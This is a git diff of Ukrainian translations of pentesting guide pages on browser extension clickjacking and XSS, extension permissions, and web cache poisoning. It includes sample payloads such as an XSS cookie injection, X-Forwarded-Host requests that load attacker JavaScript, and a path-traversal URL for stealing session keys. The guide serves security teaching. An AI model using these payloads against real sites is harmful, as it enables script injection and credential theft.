- Кнопка "Переглянути файл", щоб переглянути повний вихідний файл, що містить код. - Кнопка "Переглянути файл" для перегляду повного вихідного файлу, що містить код.
- Шлях до сповіщеного файлу. - Шлях до сповіщеного файлу.
- Повний URI розширення Chrome сповіщеного файлу. - Повний URI розширення Chrome сповіщеного файлу.
- Тип файлу, наприклад, скрипт фонової сторінки, скрипт контенту, дія браузера тощо. - Тип файлу, наприклад, скрипт фонової сторінки, скрипт контенту, дія браузера тощо.
@ -685,11 +685,11 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
- Завантажити оригінальне розширення. - Завантажити оригінальне розширення.
- Завантажити покращену версію розширення (автоформатований HTML та JavaScript). - Завантажити покращену версію розширення (автоформатований HTML та JavaScript).
- Автоматичне кешування результатів сканування, запуск сканування розширення займе багато часу під час першого запуску. Однак під час другого запуску, якщо розширення не було оновлено, це буде майже миттєво через кешування результатів. - Автоматичне кешування результатів сканування, запуск сканування розширення займе багато часу під час першого запуску. Однак під час другого запуску, якщо розширення не було оновлено, це буде майже миттєво через кешування результатів.
- Посилання на звіти, які легко посилати іншим на звіт про розширення, згенерований tarnish. - Посилання на URL звітів, легко поділитися з кимось іншим звітом про розширення, згенерованим tarnish.
### [Neto](https://github.com/elevenpaths/neto) ### [Neto](https://github.com/elevenpaths/neto)
Проект Neto - це пакет Python 3, призначений для аналізу та виявлення прихованих функцій плагінів і розширень браузера для відомих браузерів, таких як Firefox і Chrome. Він автоматизує процес розпакування упакованих файлів для вилучення цих функцій з відповідних ресурсів у розширенні, таких як `manifest.json`, папки локалізації або вихідні файли JavaScript і HTML. Проект Neto - це пакет Python 3, призначений для аналізу та виявлення прихованих функцій плагінів і розширень браузера для відомих браузерів, таких як Firefox і Chrome. Він автоматизує процес розпакування упакованих файлів для витягування цих функцій з відповідних ресурсів у розширенні, таких як `manifest.json`, папки локалізації або вихідні файли Javascript і HTML.
## Посилання ## Посилання

View File

@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Основна інформація
Ця сторінка буде використовувати вразливість ClickJacking у розширенні браузера.\ Ця сторінка буде використовувати вразливість ClickJacking у розширенні браузера.\
Якщо ви не знаєте, що таке ClickJacking, перевірте: Якщо ви не знаєте, що таке ClickJacking, ознайомтеся з:
{{#ref}} {{#ref}}
../clickjacking.md ../clickjacking.md
@ -23,9 +23,9 @@
Однак ця функція представляє собою ризик для безпеки. Якщо ресурс у **`web_accessible_resources`** має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення. Однак ця функція представляє собою ризик для безпеки. Якщо ресурс у **`web_accessible_resources`** має будь-яку значну функціональність, зловмисник може потенційно вбудувати цей ресурс у зовнішню веб-сторінку. Непідозрюючі користувачі, які відвідують цю сторінку, можуть ненавмисно активувати цей вбудований ресурс. Така активація може призвести до непередбачуваних наслідків, залежно від дозволів і можливостей ресурсів розширення.
## PrivacyBadger Example ## Приклад PrivacyBadger
У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія `skin/` була оголошена як `web_accessible_resources` наступним чином (перевірте оригінальний [блог пост](https://blog.lizzie.io/clickjacking-privacy-badger.html)): У розширенні PrivacyBadger була виявлена вразливість, пов'язана з тим, що директорія `skin/` була оголошена як `web_accessible_resources` наступним чином (перевірте оригінальний [блог-пост](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json ```json
"web_accessible_resources": [ "web_accessible_resources": [
"skin/*", "skin/*",
@ -34,7 +34,7 @@
``` ```
Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл `skin/popup.html`, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в `iframe`. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). Ця конфігурація призвела до потенційної проблеми безпеки. Зокрема, файл `skin/popup.html`, який відображається при взаємодії з іконкою PrivacyBadger у браузері, може бути вбудований в `iframe`. Це вбудовування може бути використане для обману користувачів, змушуючи їх випадково натискати на "Вимкнути PrivacyBadger для цього веб-сайту". Така дія порушить конфіденційність користувача, вимкнувши захист PrivacyBadger і потенційно піддаючи користувача підвищеному відстеженню. Візуальну демонстрацію цього експлойту можна переглянути у відео прикладі ClickJacking, наданому за посиланням [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Щоб усунути цю вразливість, було реалізовано просте рішення: видалення `/skin/*` зі списку `web_accessible_resources`. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу `skin/` не може бути доступний або маніпульований через веб-доступні ресурси. Щоб вирішити цю вразливість, було реалізовано просте рішення: видалення `/skin/*` зі списку `web_accessible_resources`. Ця зміна ефективно зменшила ризик, забезпечивши, що вміст каталогу `skin/` не може бути доступний або маніпульований через веб-доступні ресурси.
Виправлення було простим: **видалити `/skin/*` з `web_accessible_resources`**. Виправлення було простим: **видалити `/skin/*` з `web_accessible_resources`**.
@ -75,7 +75,7 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
``` ```
## Metamask Example ## Metamask Example
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example): A [**блог пост про ClickJacking в metamask можна знайти тут**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). У цьому випадку Metamask виправив вразливість, перевіряючи, що протокол, використаний для доступу, був **`https:`** або **`http:`** (не **`chrome:`**, наприклад):
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>

View File

@ -43,14 +43,14 @@
### Вкладки ### Вкладки
Більше того, **`host_permissions`** також відкриває "розширену" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **функціональність.** Вони дозволяють розширенню викликати [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) і не лише отримувати **список вкладок браузера користувача**, але й дізнаватися, яка **веб-сторінка (тобто адреса та заголовок) завантажена**. Більше того, **`host_permissions`** також відкриває “розширену” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **функціональність.** Вони дозволяють розширенню викликати [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) і не лише отримувати **список вкладок браузера користувача**, але й дізнаватися, яка **веб-сторінка (тобто адреса та заголовок) завантажена**.
> [!CAUTION] > [!CAUTION]
> Не лише це, слухачі, такі як [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **також стають набагато кориснішими**. Вони будуть сповіщені щоразу, коли нова сторінка завантажується у вкладку. > Не лише це, слухачі, такі як [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **також стають набагато кориснішими**. Вони будуть сповіщені щоразу, коли нова сторінка завантажується у вкладку.
### Виконання контентних скриптів <a href="#running-content-scripts" id="running-content-scripts"></a> ### Виконання контентних скриптів <a href="#running-content-scripts" id="running-content-scripts"></a>
Контентні скрипти не обов'язково записуються статично в маніфест розширення. За наявності достатніх **`host_permissions`**, **розширення також можуть завантажувати їх динамічно, викликаючи** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **або** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). Контентні скрипти не обов'язково пишуться статично в маніфесті розширення. За наявності достатніх **`host_permissions`**, **розширення також можуть завантажувати їх динамічно, викликаючи** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **або** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
Обидва API дозволяють виконувати не лише файли, що містяться в розширеннях як контентні скрипти, але й **произвольний код**. Перший дозволяє передавати JavaScript код як рядок, тоді як другий очікує JavaScript функцію, яка менш схильна до вразливостей ін'єкцій. Проте, обидва API можуть завдати шкоди, якщо їх неправильно використовувати. Обидва API дозволяють виконувати не лише файли, що містяться в розширеннях як контентні скрипти, але й **произвольний код**. Перший дозволяє передавати JavaScript код як рядок, тоді як другий очікує JavaScript функцію, яка менш схильна до вразливостей ін'єкцій. Проте, обидва API можуть завдати шкоди, якщо їх неправильно використовувати.
@ -59,9 +59,9 @@
### Непрямі привілеї <a href="#implicit-privileges" id="implicit-privileges"></a> ### Непрямі привілеї <a href="#implicit-privileges" id="implicit-privileges"></a>
Деякі привілеї розширення **не потрібно явно оголошувати**. Один приклад - [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): його базова функціональність доступна без будь-яких привілеїв. Будь-яке розширення може отримувати сповіщення, коли ви відкриваєте та закриваєте вкладки, воно просто не знатиме, з яким веб-сайтом ці вкладки пов'язані. Деякі привілеї розширення **не потрібно явно оголошувати**. Один приклад - [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): його базова функціональність доступна без будь-яких привілеїв. Будь-яке розширення може бути сповіщене, коли ви відкриваєте та закриваєте вкладки, воно просто не знатиме, з яким веб-сайтом ці вкладки пов'язані.
Здається, занадто безпечно? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) є дещо менш безпечним. Його можна використовувати для **створення нової вкладки**, фактично так само, як [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), який може бути викликаний будь-яким веб-сайтом. Проте, поки `window.open()` підлягає **блокуванню спливаючих вікон, `tabs.create()` - ні**. Здається, занадто безпечно? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) є дещо менш безпечним. Його можна використовувати для **створення нової вкладки**, фактично так само, як [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), який може бути викликаний будь-яким веб-сайтом. Проте, поки `window.open()` підлягає **блокувальнику спливаючих вікон, `tabs.create()` - ні**.
> [!CAUTION] > [!CAUTION]
> Розширення може створювати будь-яку кількість вкладок, коли захоче. > Розширення може створювати будь-яку кількість вкладок, коли захоче.
@ -77,7 +77,7 @@
> [!CAUTION] > [!CAUTION]
> Не так з браузерними розширеннями. **Якщо браузерне розширення** [**хоче доступ до вашої веб-камери або мікрофона**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, йому потрібно лише один раз запитати дозвіл** > Не так з браузерними розширеннями. **Якщо браузерне розширення** [**хоче доступ до вашої веб-камери або мікрофона**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, йому потрібно лише один раз запитати дозвіл**
Зазвичай розширення робить це відразу після установки. Як тільки цей запит прийнято, **доступ до веб-камери можливий у будь-який час**, навіть якщо користувач не взаємодіє з розширенням у цей момент. Так, користувач прийме цей запит лише якщо розширення дійсно потребує доступу до веб-камери. Але після цього їм потрібно довіряти розширенню, що воно не буде нічого записувати таємно. Зазвичай розширення робить це відразу після установки. Після того, як цей запит буде прийнятий, **доступ до веб-камери можливий у будь-який час**, навіть якщо користувач не взаємодіє з розширенням у цей момент. Так, користувач прийме цей запит лише якщо розширення дійсно потребує доступу до веб-камери. Але після цього їм потрібно довіряти розширенню, що воно не буде нічого записувати таємно.
З доступом до [вашого точного географічного положення](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) або [вмісту вашого буфера обміну](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), надання дозволу явно зовсім не є необхідним. **Розширення просто додає `geolocation` або `clipboard` до** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **свого маніфесту**. Ці привілеї доступу надаються непрямо, коли розширення встановлюється. Таким чином, зловмисне або скомпрометоване розширення з цими привілеями може створити ваш профіль переміщення або моніторити ваш буфер обміну для скопійованих паролів, не помічаючи нічого. З доступом до [вашого точного географічного положення](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) або [вмісту вашого буфера обміну](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), надання дозволу явно зовсім не є необхідним. **Розширення просто додає `geolocation` або `clipboard` до** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **свого маніфесту**. Ці привілеї доступу надаються непрямо, коли розширення встановлюється. Таким чином, зловмисне або скомпрометоване розширення з цими привілеями може створити ваш профіль переміщення або моніторити ваш буфер обміну для скопійованих паролів, не помічаючи нічого.
@ -97,9 +97,9 @@
## Запобігання <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a> ## Запобігання <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
Політика розробника Google чітко забороняє розширенням запитувати більше привілеїв, ніж необхідно для їх функціональності, ефективно зменшуючи надмірні запити на дозволи. Прикладом, коли браузерне розширення перевищило цю межу, стало його розповсюдження разом з самим браузером, а не через магазин доповнень. Політика розробника Google чітко забороняє розширенням запитувати більше привілеїв, ніж необхідно для їх функціональності, ефективно зменшуючи надмірні запити на дозволи. Прикладом, коли браузерне розширення перевищило цю межу, стало його розповсюдження разом з браузером, а не через магазин доповнень.
Браузери можуть ще більше обмежити зловживання привілеями розширення. Наприклад, API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) та [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) Chrome, які використовуються для запису екрану, розроблені для мінімізації зловживань. API tabCapture може бути активовано лише через безпосередню взаємодію користувача, наприклад, натискання на значок розширення, тоді як desktopCapture вимагає підтвердження користувача для запису вікна, запобігаючи таємним записам. Браузери також можуть додатково обмежити зловживання привілеями розширення. Наприклад, API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) та [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) Chrome, які використовуються для запису екрану, розроблені для мінімізації зловживань. API tabCapture може бути активовано лише через безпосередню взаємодію користувача, наприклад, натискання на значок розширення, тоді як desktopCapture вимагає підтвердження користувача для запису вікна, запобігаючи таємним записам.
Проте, посилення заходів безпеки часто призводить до зниження гнучкості та зручності використання розширень. Дозвіл [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ілюструє цю компроміс. Він був введений, щоб усунути необхідність для розширень запитувати привілеї хостів по всьому інтернету, дозволяючи розширенням отримувати доступ лише до поточної вкладки за явною активацією користувача. Ця модель ефективна для розширень, які потребують дій, ініційованих користувачем, але не підходить для тих, які потребують автоматичних або превентивних дій, тим самим компрометуючи зручність та миттєву реакцію. Проте, посилення заходів безпеки часто призводить до зниження гнучкості та зручності використання розширень. Дозвіл [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ілюструє цю компроміс. Він був введений, щоб усунути необхідність для розширень запитувати привілеї хостів по всьому інтернету, дозволяючи розширенням отримувати доступ лише до поточної вкладки за явною активацією користувача. Ця модель ефективна для розширень, які потребують дій, ініційованих користувачем, але не підходить для тих, які потребують автоматичних або превентивних дій, тим самим компрометуючи зручність та миттєву реакцію.

View File

@ -1,10 +1,10 @@
# BrowExt - XSS Example # BrowExt - XSS Приклад
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Cross-Site Scripting (XSS) через Iframe ## Міжсайтовий скриптинг (XSS) через Iframe
У цій конфігурації реалізовано **скрипт контенту**, який створює Iframe, використовуючи URL з параметрами запиту як джерело Iframe: У цій конфігурації реалізовано **скрипт контенту**, щоб створити Iframe, включаючи URL з параметрами запиту як джерело Iframe:
```javascript ```javascript
chrome.storage.local.get("message", (result) => { chrome.storage.local.get("message", (result) => {
let constructedURL = let constructedURL =
@ -58,7 +58,7 @@ document.body.append(newFrame)
Цей приклад був взятий з [оригінального поста](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). Цей приклад був взятий з [оригінального поста](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Основна проблема виникає з уразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в **`/html/bookmarks.html`**. Проблемний JavaScript, частина **`bookmarks.js`**, детально описаний нижче: Основна проблема виникає з вразливості Cross-site Scripting (XSS), що базується на DOM, розташованої в **`/html/bookmarks.html`**. Проблемний JavaScript, частина **`bookmarks.js`**, детально описаний нижче:
```javascript ```javascript
$("#btAdd").on("click", function () { $("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val() var bookmarkName = $("#txtName").val()
@ -94,7 +94,7 @@ persistData()
[...] [...]
], ],
``` ```
Зокрема, сторінка **`/html/bookmarks.html`** підлягає фреймінгу, отже, вразлива до **clickjacking**. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання призводить до того, що жертви взаємодіють з основним розширенням ненавмисно. Зокрема, сторінка **`/html/bookmarks.html`** підлягає фреймінгу, отже, вразлива до **clickjacking**. Ця вразливість використовується для фреймінгу сторінки в межах сайту зловмисника, накладаючи на неї елементи DOM для обманного redesign інтерфейсу. Це маніпулювання змушує жертв взаємодіяти з основним розширенням ненавмисно.
## References ## References

View File

@ -7,7 +7,7 @@
> **У чому різниця між пошкодженням веб-кешу та обманом веб-кешу?** > **У чому різниця між пошкодженням веб-кешу та обманом веб-кешу?**
> >
> - У **пошкодженні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу. > - У **пошкодженні веб-кешу** зловмисник змушує додаток зберігати деякий шкідливий контент у кеші, і цей контент надається іншим користувачам додатка з кешу.
> - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачу, у кеші, а потім зловмисник отримує цей контент з кешу. > - У **обмані веб-кешу** зловмисник змушує додаток зберігати деякий чутливий контент, що належить іншому користувачеві, у кеші, а потім зловмисник отримує цей контент з кешу.
## Пошкодження кешу ## Пошкодження кешу
@ -15,7 +15,7 @@
Виконання атаки на пошкодження кешу включає кілька етапів: Виконання атаки на пошкодження кешу включає кілька етапів:
1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем. 1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінювати відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника. 2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
3. **Забезпечення кешування забрудненої відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час забруднення кешу, отримає забруднену відповідь. 3. **Забезпечення кешування забрудненої відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час забруднення кешу, отримає забруднену відповідь.
@ -43,14 +43,14 @@ cache-poisoning-to-dos.md
``` ```
### Викликати шкідливу відповідь від серверу ### Викликати шкідливу відповідь від серверу
З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...) З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS код, контрольований вами? виконати DoS?...)
### Отримати відповідь в кеші ### Отримати відповідь в кеші
Після того, як ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд. Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** зловживати ним, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був закешований, і значення **`hit`**, коли він закешований.\ Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не був кешований, і значення **`hit`**, коли він кешований.\
Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде закешований знову: `Cache-Control: public, max-age=1800` Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешований знову: `Cache-Control: public, max-age=1800`
Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не мають ключа. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`. Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не мають ключа. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
@ -95,7 +95,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md
{{#endref}} {{#endref}}
### Отруєння кешу з використанням обходу шляху для викрадення API ключа <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> ### Отруєння кешу з обходом шляху для викрадення API ключа <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), як було можливим викрасти API ключ OpenAI за допомогою URL, як-от `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера. [**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), як було можливим викрасти API ключ OpenAI за допомогою URL, як-от `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера.
@ -105,18 +105,18 @@ cache-poisoning-via-url-discrepancies.md
cache-poisoning-via-url-discrepancies.md cache-poisoning-via-url-discrepancies.md
{{#endref}} {{#endref}}
### Використання кількох заголовків для експлуатації вразливостей отруєння веб-кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> ### Використання кількох заголовків для експлуатації вразливостей отруєння кешу <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Іноді вам потрібно буде **експлуатувати кілька неключових вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу. Іноді вам потрібно буде **експлуатувати кілька незаключених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
```markup ```markup
GET /resources/js/tracking.js HTTP/1.1 GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http X-Forwarded-Scheme: http
``` ```
### Використання з обмеженим заголовком `Vary` ### Використання з обмеженим `Vary` заголовком
Якщо ви виявили, що заголовок **`X-Host`** використовується як **ім'я домену для завантаження JS-ресурсу**, але заголовок **`Vary`** у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent: Якщо ви виявили, що **`X-Host`** заголовок використовується як **ім'я домену для завантаження JS ресурсу**, але **`Vary`** заголовок у відповіді вказує на **`User-Agent`**. Тоді вам потрібно знайти спосіб ексфільтрувати User-Agent жертви та отруїти кеш, використовуючи цей User-Agent:
```markup ```markup
GET / HTTP/1.1 GET / HTTP/1.1
Host: vulnerbale.net Host: vulnerbale.net
@ -136,9 +136,9 @@ report=innocent-victim
``` ```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Параметричне приховування ### Параметричне маскування
Наприклад, можливо розділити **параметри** на ruby-серверах, використовуючи символ **`;`** замість **`&`**. Це може бути використано для вставлення значень непараметризованих параметрів всередину параметризованих і їх зловживання. Наприклад, можливо розділити **параметри** на ruby-серверах, використовуючи символ **`;`** замість **`&`**. Це може бути використано для вставлення значень непідключених параметрів всередину підключених і їх зловживання.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@ -148,7 +148,7 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Автоматизоване тестування для Web Cache Poisoning ### Автоматизоване тестування для Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність вразливостей до web cache poisoning. Він підтримує багато різних технік і є високонастроювальним. [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність вразливостей веб-кешування. Він підтримує багато різних технік і є високонастроювальним.
Приклад використання: `wcvs -u example.com` Приклад використання: `wcvs -u example.com`
@ -174,9 +174,9 @@ GitLab використовує GCP buckets для зберігання стат
Cloudflare раніше кешував 403 відповіді. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до 403 відповіді, яка кешувалася. Хоча Cloudflare припинив кешування 403 відповідей, ця поведінка може все ще бути присутня в інших проксі-сервісах. Cloudflare раніше кешував 403 відповіді. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до 403 відповіді, яка кешувалася. Хоча Cloudflare припинив кешування 403 відповідей, ця поведінка може все ще бути присутня в інших проксі-сервісах.
